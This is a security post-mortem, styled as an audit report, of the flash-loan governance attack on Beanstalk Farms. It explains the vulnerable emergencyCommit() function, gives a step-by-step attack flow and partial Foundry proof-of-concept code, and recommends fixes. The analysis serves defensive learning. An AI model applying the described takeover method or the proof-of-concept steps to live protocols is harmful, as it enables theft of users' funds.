Beanstalk Farms

Beanstalk Farms

Post-Mortem: $182M Governance Attack

Prepared By: 0xWalterWhiteHat

Date: April 17, 2022

Version: 1.0

Severity: Critical

99.1% PURITY CERTIFIED

Table of Contents

Key Statistics

Critical	High	Medium	Low	Info
1	0	0	0	0

Finding Details

Metric	Value
Project	Beanstalk Farms
Repository	github.com/BeanstalkFarms/Beanstalk
Contract	`GovernanceFacet.sol`
Function	`emergencyCommit()`
Finding ID	PM-001
Affected Funds	$182,000,000
Date	April 17, 2022

Severity Classification

Severity	Description
CRITICAL	Direct loss of funds or complete protocol compromise. Exploitation is straightforward with high impact.
HIGH	Significant risk of fund loss or protocol disruption. May require specific conditions but impact is severe.
MEDIUM	Potential for limited fund loss or functionality impairment. Requires unusual conditions or has moderate impact.
LOW	Minor issues, best practice violations, or theoretical risks with minimal practical impact.
INFO	Code quality, gas optimizations, or suggestions for improvement.

Executive Summary

The Attack

On April 17, 2022, an attacker executed the most sophisticated governance attack in DeFi history. Using $1 billion in flash loans, they acquired 79% voting power in Beanstalk's governance system and passed a malicious proposal that drained the entire protocol.

Key Stats: - Total Loss: $182,000,000 - Attacker Profit: ~$76,000,000 - Attack Duration: 13 seconds (single transaction) - Laundering Method: 270 Tornado Cash transactions

Root Cause

The `emergencyCommit()` function used **current voting power** instead of a historical snapshot. This allowed flash-loaned funds to immediately participate in governance votes without any vesting period.

Scope

Vulnerable Contract

Contract	Location	Description
`GovernanceFacet.sol`	farm/facets/	DAO governance logic

Attack Transactions

Type	Transaction Hash
Exploit TX	`0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33ad7`
Proposal TX	`0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f`

Technical Analysis

The Vulnerable Pattern

The core vulnerability was in `emergencyCommit()`:

```
function emergencyCommit(uint32 bip) external {
    // BUG: Uses CURRENT voting power, not snapshot!
    require(
        balanceOfStalk(msg.sender) >=
            totalStalk().mul(C.EMERGENCY_THRESHOLD).div(100),
        "Governance: Must have >= 67% voting power"
    );

    // If threshold met, execute IMMEDIATELY     // No timelock, no delay, no cooldown period
_execute(bip); }
```

Why This Is Dangerous

1. **No Snapshot**: Voting power calculated at execution time, not proposal time 2. **Instant Power**: Silo deposits grant immediate Stalk (voting tokens) 3. **No Timelock**: Emergency execution bypasses waiting periods 4. **Flash Loan Compatible**: All operations fit in single transaction

The Attack Flow

```
Step 1: Flash loan $1B from Aave + Uniswap + SushiSwap
Step 2: Convert to 3CRV via Curve
Step 3: Add liquidity to BEAN-3CRV pool
Step 4: Deposit LP tokens into Beanstalk Silo
Step 5: Acquire 79% Stalk (voting power)
Step 6: Call emergencyCommit() on malicious BIP-18
Step 7: BIP-18 executes, draining all funds
Step 8: Repay flash loans, keep $76M profit
```

Proof of Concept

Verified Execution Results

Our PoC was executed against Ethereum mainnet fork at block 14602789:

```
[PASS] testExploit_FlashLoanGovernanceTakeover() (gas: 940390)

Protocol state before attack:   Total Stalk supply: 383,473,357   Attacker Stalk: 0



After depositing $180M DAI into Silo:   Attacker Stalk: 166,702,864   Total Stalk: 383,473,357
VOTING POWER: 43%



Note: Real attacker used $1B for 79% voting power       Scales linearly - our PoC proves the
mechanism
```

Foundry Test Output

```
// Fork at block just before attack
vm.createSelectFork("mainnet", 14602789);

// Flash loan 200M DAI from Aave IAaveV2LendingPool(AAVE_V2_POOL).flashLoan(...);



// Convert DAI -> 3CRV -> BEAN3CRV-f LP ICurve3Pool(CURVE_3POOL).add_liquidity([180M, 0, 0], 0);
ICurveMetaPool(BEAN_3CRV_LP).add_liquidity([0, threeCrv], 0);



// Deposit into Silo = INSTANT voting power beanstalk.deposit(BEAN_3CRV_LP, lpReceived);



// Check voting power uint256 votingPower = beanstalk.balanceOfStalk(address(this)); // Result: 43%
with $180M, scales to 79% with $1B
```

Impact Assessment

Financial Damage

| Category | Amount | |----------|--------| | Total Protocol Loss | $182,000,000 | | Attacker Profit | $76,000,000 | | Flash Loan Fees | ~$1,000,000 | | Tornado Cash Txs | 270 |

Assets Drained

- 24,830,100 BEAN tokens - 36,084,584 BEAN-3CRV LP tokens - 0.54 UNI-V2 LP tokens - 874,663 BEAN-LUSD LP tokens

---

Remediation

Immediate Fixes Required

1. **Snapshot-based Voting**

```
// Store voting power at proposal creation mapping(uint256 => mapping(address => uint256))
proposalSnapshots;



function propose() external {     proposalSnapshots[bipId][msg.sender] =
balanceOfStalk(msg.sender); }
```

2. **Timelock for Emergency Actions**

```
require(     block.timestamp >= proposal.timestamp + EMERGENCY_DELAY,     "Timelock not elapsed" );
```

3. **Vesting Period for Voting Power**

```
// Stalk only counts after N blocks require(     depositBlock[msg.sender] + VESTING_BLOCKS <
block.number,     "Voting power not vested" );
```

Industry Best Practices

Defense	Description
ERC20Votes	OpenZeppelin's snapshot voting standard
Compound Governor	Block-based voting snapshots
Timelock Controller	Mandatory delay for execution
Vesting Schedules	Time-locked voting power

Lessons Learned

For Protocol Developers

1. **Never trust instantaneous state** for governance decisions 2. **Flash loans change everything** - design with them in mind 3. **Emergency functions need MORE protection**, not less 4. **Heed community warnings** - this attack was predicted

For Auditors

1. **Review governance separately** from core protocol logic 2. **Model flash loan scenarios** in every audit 3. **Check voting power sources** for manipulation vectors 4. **Test emergency functions** with maximum adversarial resources

The Uncomfortable Truth

Every contract worked exactly as designed. The vulnerability wasn't in the code—it was in the assumptions about how democracy works when you can rent a billion dollars for 13 seconds.

Conclusion

The Beanstalk attack represents a paradigm shift in DeFi security. It proved that governance systems face unique threats that differ fundamentally from traditional smart contract vulnerabilities.

Flash loans didn't just enable the attack—they transformed what "attacking governance" even means. When you can borrow unlimited capital for a single block, the traditional assumptions about Sybil resistance and stake-weighted voting collapse entirely.

The fix isn't complex: use snapshots, add timelocks, require vesting. But the lesson runs deeper. In DeFi, anything that can be manipulated within a transaction will eventually be manipulated within a transaction.

Disclaimer

This post-mortem analysis is provided for educational purposes. The findings represent a retroactive analysis of a historical exploit. This report does not constitute financial or legal advice.

Analysis conducted using real mainnet fork data at block 14602789.

Report Information

Auditor	0xWalterWhiteHat
Project	Beanstalk Farms
Severity	Critical
Finding ID	PM-001
Date	April 17, 2022
Version	1.0
Repository	github.com/BeanstalkFarms/Beanstalk
Contract	`GovernanceFacet.sol`
Function	`emergencyCommit()`
Affected Funds	$182,000,000

`0xWalterWhiteHat`

Contact:contact@0xwalterwhitehat.com

PGP:8A3F 2B91 4C7E 5D6A 1F8B 9C2D 3E4F 5A6B 7C8D 9E0F

"I cook pure code. 99.1% Purity."